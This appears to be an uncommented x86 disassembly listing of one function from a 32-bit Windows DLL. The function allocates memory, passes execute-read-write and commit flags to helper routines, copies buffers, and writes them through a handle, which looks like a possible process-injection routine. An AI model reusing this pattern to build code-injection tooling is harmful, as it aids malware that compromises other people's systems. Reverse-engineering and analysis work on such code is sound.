mov byte [esp + 0x1d8], 0x7f
mov byte [esp + 0x1d9], al
mov byte [esp + 0x1da], 0x12
mov byte [esp + 0x1db], 0xc2
mov byte [esp + 0x1dc], 0x14
mov byte [esp + 0x1dd], bl
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ecx, 0xc0
xor eax, eax
mov dword [esp + 0x10], edi
rep stosd dword es:[edi], eax
push 0x40
lea ecx, [esp + 0x40]
push 0x3000
push ecx
lea edx, [esp + 0x44]
push ebx
push edx
push ebp
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], 0x300
call fcn.10007d90
mov edi, dword [esp + 0x38]
push ebp
mov dword [esp + 0x1c], edi
mov dword [esp + 0x177], edi
lea eax, [edi + 0xa]
mov dword [esp + 0x17c], esi
mov dword [esp + 0x188], eax
mov dword [esp + 0x18f], 0x56000000
call fcn.100022f0
lea ecx, [edi + 0x10c]
mov dword [esp + 0x190], eax
mov dword [esp + 0x197], ecx
lea edx, [edi + 0x108]
lea eax, [edi + 0x100]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1a1], edx
mov dword [esp + 0x1a6], eax
push ecx
lea edx, [esp + 0x4c]
push 0x40
lea eax, [esp + 0x30]
push edx
add edi, 0x24d
push eax
push ebp
mov dword [esp + 0x1c1], edi
mov dword [esp + 0x1c9], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x5c], 0x100
call fcn.10007d70
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x19c], ecx
mov ecx, 0x17
lea edi, [edx + 0x200]
lea esi, [esp + 0x170]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, 0x1001f5f8
or ecx, 0xffffffff
xor eax, eax
lea esi, [edx + 0xa]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x24], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x16c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x1c]
push 0xa
push edx
add ecx, 0x200
push esi
mov dword [edx + 0x108], 0x100
mov dword [edx + 0x100], esi
push ebp
mov dword [esp + 0x41], ecx
call fcn.10007d80
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push 0x300
push edi
push ecx
push ebp
call fcn.10007d60
push ebx
lea edx, [esp + 0x30]
push 7
push edx
push esi
push ebp
call fcn.10007d60
push 0x8000
push 0x300
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret